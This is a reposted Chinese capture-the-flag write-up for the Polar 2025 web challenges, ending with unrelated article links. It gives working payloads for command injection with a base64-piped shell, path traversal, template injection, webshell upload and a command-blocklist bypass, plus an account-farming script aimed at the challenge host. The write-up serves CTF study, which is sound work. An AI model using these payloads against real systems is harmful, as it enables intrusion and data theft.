Polar2025秋季个人挑战赛web-writeup

news/2025/9/25 20:45:22/文章来源:https://www.cnblogs.com/Pr0x1ma/p/19111974

polar快递

在登录页面下载备忘录发现用户等级分四个,抓包发现有id=user,改为最高等级的root登录即可获取flag

white

常规输入执行命令发现很多符号都被ban了/[;&$'"<>?*[]{}()#@!%]/`,发现管道符没被禁,base64也在白名单中,尝试用base64编码绕过

payload:

echo dGFjIC9mKg== | base64 -d | sh

图片

俄罗斯方块

查看js源码发现在一个判断后会拉取get_squirrt1e.php,访问即可

图片

vip

抓包发现参数vip=flase,改为true即可

代码审计

直接给了源码

<?php
$page = 'hello.php';
if (isset($_GET['page'])) {$page = $_GET['page'];
}$base_dir = __DIR__ . '/pages/';
$target = $base_dir . $page;
if (preg_match('/https?:\/\//i', $page)) {echo "远程 URL 不允许呦。";exit;
}
if (file_exists($target)) {$content = file_get_contents($target);echo "<pre>" . htmlspecialchars($content, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . "</pre>";
} else {if (@file_exists($page)) {$content = file_get_contents($page);echo "<pre>" . htmlspecialchars($content, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . "</pre>";} else {echo "No!: " . htmlspecialchars($page);}
}

file_get_contents,尝试目录穿越拿flag

payload:

?page=../flag.txt

PolarCMS

登录页面直接弱密码爆破或者用<闭合也能绕过,这里只要密码对了用户名无论是什么都能登录

登录进来发现能上传文件和上传新页面,先试了试上传文件,在/static/uploads/处访问发现都是文本类型的,没办法用文件上传做,主页说这是用纯java搭建的,尝试在创建页面的地方进行模版注入

图片

图片

payload:

${exec('cat /f*')}

狗黑子的舔狗日记

进去在'我'的页面发现url中page参数能读文件,尝试伪协议读取index.php,

图片

解码

<?php
session_start();define('PAGE_WECHAT', 'xiaoxi.php');
define('PAGE_MOMENTS', 'pengyouquan.php');
define('PAGE_PROFILE', 'wode.php');$defaultPage = PAGE_MOMENTS;$currentPage = $_SESSION['current_page'] ?? $defaultPage;$allowedPages = [PAGE_WECHAT, PAGE_MOMENTS, PAGE_PROFILE];
if (isset($_GET['page']) && in_array($_GET['page'], $allowedPages)) {$currentPage = $_GET['page'];$_SESSION['current_page'] = $currentPage;chdir(dirname(__FILE__));$is_dangerous = false;if ($is_dangerous) {echo "只允许当前目录";}
}
if (isset($_GET['page'])) {$requestedPage = $_GET['page'];$baseDir = dirname(__FILE__);if (strpos($requestedPage, 'php://') === 0) {if (preg_match('/resource=([^&]+)/', $requestedPage, $matches)) {$resource = $matches[1];$resource = urldecode($resource);if (strpos($resource, '/') !== false || strpos($resource, '\\') !== false || strpos($resource, '..') !== false) {die("不支持其他操作");}include($requestedPage);exit;}}$fullPath = realpath($baseDir . DIRECTORY_SEPARATOR . $requestedPage);if ($fullPath === false || dirname($fullPath) !== $baseDir) {die("不支持其他操作");}include($requestedPage);chdir(dirname(__FILE__));$is_dangerous = false;if ($is_dangerous) {echo "只允许当前目录";}exit; 
}
$flag='ZmxhZ3vlpbPnpZ7nmoTlkI3lrZdtZDXliqDlr4Z9CnRpcHMgIOWls+elnuW+ruS/oeWPt++8mm52c2hlbg==';
if (in_array($currentPage, $allowedPages)) {include($currentPage);
} else {include(PAGE_MOMENTS);
}if (isset($_GET['action']) && $_GET['action'] === 'logout') {session_destroy();header('Location: src/denglu.php');exit;
}
?>

有个$flag继续base64解码

flag{女神的名字md5加密}
tips  女神微信号:nvshen

给了女神微信号,要登录女神微信找女神名字,扫目录发现www.zip,是一个密码本,爆破登录女神微信,给狗黑子发个消息即可获得名字

Squirtle的论坛

扫目录发现admin.php,访问提示无权限访问,在主页面有提示master只能是Squirtle!!!,尝试传参还有cookiemaster=Squirtle,传cookie可行,进入admin.php,传入一句话木马,即可执行命令

图片

老刘的小店

注册登录发现要用10000金币换,每分钟只能获取三个金币,但是可以给其他账户传金币,写一个注册用户给指定用户传金币的脚本

import requests
import random
import stringdef generate_random_string(length=6):# 定义字符集:小写字母 + 大写字母 + 数字characters = string.ascii_letters + string.digits# 使用系统安全的随机数生成器rng = random.SystemRandom()# 生成随机字符串return ''.join(rng.choice(characters) for _ in range(length))user = generate_random_string()
session = requests.session()
i = 0while True:#注册随机用户burp0_url = "http://d643033c-42d5-48c2-9fbc-4c5578e92a9b.www.polarctf.com:8090/register.php"burp0_data = {"username": user, "password": "asdasdasd"}res1 = session.post(burp0_url, data=burp0_data)#获取3个金币,加快速度burp1_url = "http://d643033c-42d5-48c2-9fbc-4c5578e92a9b.www.polarctf.com:8090/dashboard.php"burp1_data = {"get_coins": "100000000000000000"}session.post(burp1_url, data=burp1_data)#将4个金币传给指定用户burp2_data = {"transfer": "1", "to_user": "kkkkkk", "amount": "4"}session.post(burp1_url, data=burp2_data)print(f'已完成{i}次')i += 1

购买完后拿到老李的账号,看源码

if (isset($_GET['id'])) {
$id=$_GET['id'];if(preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$id)) {$output = '你想干什么?';}else{system($id);}

在这里有个小知识,在过滤的|\\|\\\\|这个部分,由于php对于转义符的解析

在字符串中进行了一次解析,\\被解析为\\\\\被解析为\\

再经过正则表达式解析也就是perg_match的解析,\|被解析为|\\被解析为\

最终正则表达式就变成了||\|,所以实际上就是过滤了|\,因此可以使用\进行绕过

参考:https://www.cnblogs.com/hetianlab/p/18124378

payload:

?id = ca\t /fl\ag

狗黑子的eval

有点抽象了

扫目录发现flag.php和shell.php,访问flag.php看源码,提示

<!--payload.php 狗黑子数数喜欢从1开始,不喜欢0 -->tips:gouheizigouheizi=2gouheizi

payload.php

<?php 
highlight_file(__FILE__);
//gou=a,gougou=b;
$gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou";
$gou2="22gou";$gou3="15gou";
$gou7="c3Rnbw==";
$gou8='5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4s';
$gou13=$gou8{34};$gou17=$gou8{10};$gou12=$gou8{15};$gou10=$gou8{105};$gou14=$gou12;$gou11=$gou8{51};$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
?> 

注释提示gou=a,gougou=b,也就是2gou=b,那么3gou=c,以此类推,感觉不像web题

把gou全都换掉

<?php
highlight_file(__FILE__);
//gou=a,gougou=b;
$gou1="l";$gou5="p";$gou4="e";$gou6="a";
$gou2="v";$gou3="o";
$gou7="c3Rnbw==";
$gou8='15pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4s';
$gou13=$gou8[34];$gou17=$gou8[10];$gou12=$gou8[15];$gou10=$gou8[105];$gou14=$gou12;$gou11=$gou8[51];$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
ehco $gou;
//evalpoc3Rnbw==15pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4subaizi

$gou7base64解码一下是stgo,前面就变成了evalpostgo,后面截取gou8之后的ubaizi(不知道为什么,莫名其妙)

合起来是evalpostgoubaizi,推测应该是shell.php里面的参数,然后用蚁剑连接,发现查看目录权限不够,用蚁剑的工具绕过执行命令即可

狗黑子的登录

扫目录发现有很多.git,用githacker试一下拿到了index.php和admin.php

index.php

<?php
session_start();if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {header('Location: admin.php');exit;
}if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_register'])) {$registerValue = $_POST['seclients_can_register'];// 明确处理0和1两种情况if ($registerValue == 1) {$_SESSION['show_register'] = true;  } elseif ($registerValue == 0) {$_SESSION['show_register'] = false; }
}// 处理登录
$error = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {$username = $_POST['username'] ?? '';$password = $_POST['password'] ?? '';require 'config.php';if (isset($users[$username]) && $users[$username] === $password) {$_SESSION['logged_in'] = true;$_SESSION['username'] = $username;header('Location: admin.php');exit;} else {$error = '用户名或密码不正确';}
}
?>

admin.php

<?php
session_start();if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {header('Location: index.php');exit;
}if ($_SERVER['REQUEST_METHOD'] === 'POST' && iasset($_POST['seclients_can_upload']) && $_POST['seclients_can_upload'] == 1) {$_SESSION['show_upload'] = true;
}$upload_message = '';
if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {$target_dir = "uploads/";if (!file_exists($target_dir)) {mkdir($target_dir, 0777, true);}$target_file = $target_dir . basename($_FILES["file"]["name"]);$uploadOk = true;if ($_FILES["file"]["size"] < 200 * 1024) {$upload_message = "文件太小了。";$uploadOk = false;}$image_types = array('image/jpeg', 'image/png', 'image/gif', 'image/webp');$file_type = $_FILES["file"]["type"];if (!in_array($file_type, $image_types)) {$upload_message = "只允许上传图片文件 (JPG, PNG, GIF, WEBP)。";$uploadOk = false;}if ($uploadOk && move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {$upload_message = "文件 " . htmlspecialchars(basename($_FILES["file"]["name"])) . " 上传成功。";} elseif ($uploadOk) {$upload_message = "文件上传失败。";}
}
?>

在index.php传参seclients_can_register=1注册登录

admin.php中是一个简单的文件上传,只验证了文件类型,改成image/png上传php文件即可执行命令

ZGZH

用python写一个User序列化的脚本,然后提示pass,访问pass.php验证密码,传857.00E+000即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/917505.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

题解:P12751 [POI 2017 R2] 集装箱 Shipping containers

cnblogs 题面 第二道根号分治,对初学者来说很友好的一道题。 题意在题面中写的很清楚,这里不多赘述。 思路 先从暴力开始想。 每次暴力的时间复杂度最坏明显是 \(O(n^2)\) 的,因为是类似区间加和最后统计的问题,可…

弱网配置

sudo tc qdisc replace dev eno1 root netem delay 120ms 30ms 25% loss 5% 解除sudo tc qdisc del dev eno1 ingresshttps://blog.csdn.net/2303_78922833/article/details/151372115

网站建设网页设计小江wordpress重写插件

上篇文章《C自动注册的工厂与--whole-archive》提到了--whole-archive选项在自动工厂示例的必要&#xff0c;“貌似也没其他方法了”。 这篇文章介绍另一种可以替代的方式&#xff0c;并分析其优缺点&#xff0c;采用的代码示例同上篇文章。文章最后附代码。 方法介绍 ld链接器…

net网站开发教学视频牌子网排行榜

报告来源&#xff1a;国泰君安&#xff08;訾猛&#xff09;亚马逊以技术为核心驱动力&#xff0c;实现从电商向科技公司的跨越&#xff0c;形成电商、物流、AWS、新零售协同发展的完整生态圈。亚马逊从1995年开始为用户提供线上商品&#xff0c;从一家网上书店发展成全品类电商…

选择网站做友情链接的标准一般是wordpress点击折叠展开内容

Java概况 JavaSE是java分类中的标准版&#xff0c;是刚接触java要学习的基础知识。 JavaEE是java分类中的企业版&#xff0c;是java中的高级&#xff0c;涉及到的知识广泛。 JavaME中M是Micro的缩写&#xff0c;用在嵌入式等电子设备中。 Java软件工程师&#xff1a;通过Ja…

通过【开题答辩过程】以《基于JavaEE的创意产品众筹平台的设计与实现》为例,不会开题答辩的能够进来看看

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Nano-Banana免费使用指南:一键生成专属3D手办,附超详细提示词 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

绘制金融集团监控大屏的地图demo

<!-- 引入ECharts和地图数据 --> <script src="https://cdn.jsdelivr.net/npm/echarts@5/dist/echarts.min.js"></script> <script src="https://geo.datav.aliyun.com/areas_v3/…

如何在CentOS 7上安装bzip2-1.0.6-13.el7.x86_64.rpm RPM包(详细步骤)

如何在CentOS 7上安装bzip2-1.0.6-13.el7.x86_64.rpm RPM包(详细步骤)​bzip2​ 是一个在 Linux 系统中常用的文件压缩工具,这个 RPM 包是专门为 ​CentOS 7 / RHEL 7(64位系统)​​ 准备的安装版本 一、先确认你…

实用指南:《原神助手》开源神器:游戏体验大升级

实用指南:《原神助手》开源神器:游戏体验大升级pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas",…

百度收录网站需要多久做海外推广的公司

一、Git概述&#xff08;1&#xff09;定义Git是目前世界上最先进的分布式版本控制系统。&#xff08;2&#xff09;能干什么&#xff1f;解决冲突、管理权限、代码备份、协同开发、版本还原、历史追查、版本记录、分支管理、代码审查&#xff08;3&#xff09;集中管理型版本管…

AM1.5G 太阳光谱 - 教程

AM1.5G 太阳光谱 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", &qu…

2025年Java常见面试题

2025年Java常见面试题2025年Java常见面试题 原文链接:https://zhuanlan.zhihu.com/p/1913568498535360114 数据库事务特性。原子性、一致性、隔离性、持久性如何防止SQL注入:使用#不要使用$符号;对所有的入参做校验…

实用指南:k8s 跟 nacos 关于服务注册以及服务发现

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

9-25

今天满课。。。 最近在忙大创,电控这方面需要合作完成,重拾了单片机的知识 驱动电机使用的是TB6612,驱动130直流电机 使用pwm控制转速 PWM 是 脉冲宽度调制(Pulse Width Modulation)的缩写,是一种通过调节脉冲信…

电子商务网站推广的方法有哪些成都网站设计网站制作公司

关于三次样条插值&#xff0c;计算方法比较复杂&#xff0c;但是静下心来仔细研究也是可以理解的。 本文借鉴文章来源&#xff1a;http://www.cnki.com.cn/Article/CJFDTotal-BGZD200611035.htm 定义&#xff1a; 简单来说就是给定了一些在区间[a,b]的数据点{x1,x2,x3.....xn…

西安网站制作工商上海公司注册名字查询

自诞生以来&#xff0c;OpenStack 似乎一直被质疑&#xff0c;其背后最重要的两大推手 NASA 和 Rackspace 都弃它而去&#xff0c;惠普、思科接连宣布关闭基于 OpenStack 的公有云服务&#xff0c;但是,OpenStack 依旧坚挺。1Q&#xff1a;OpenStack发展历史A:2Q&#xff1a;op…

郑州行业网站建设最适合穷人的四种保险

1.数据类型和变量 Python使用缩进来组织代码块,一般使用4个空格的缩进.使用#来注释一行,其他每一行都是一个语句,当语句以冒号:结尾时,缩进的语句视为代码块.Python对大小写敏感. 1.1 整数 Python可以处理任意大小的整数,包括负整数,写法与数学上写法一致,例如:-100.如果用十六…

AT_agc021_d [AGC021D] Reversed LCS

首先需要注意到一个性质,如果两个序列的最长公共子序列不是一个回文串,一定可以左右扩展成一个回文串,原因显然(但其实并不容易观察到这一性质)。 然后区间 DP 简单求一下区间更改之后的最长回文串即可。

常用注解汇总

常用注解汇总常用注解汇总 原文链接:https://www.cnblogs.com/tqlin/p/11687811.html 常用注解汇总 原文链接:https://www.cnblogs.com/tqlin/p/11687811.htmlSpring Boot 常用注解汇总 一、启动注解 @SpringBootApp…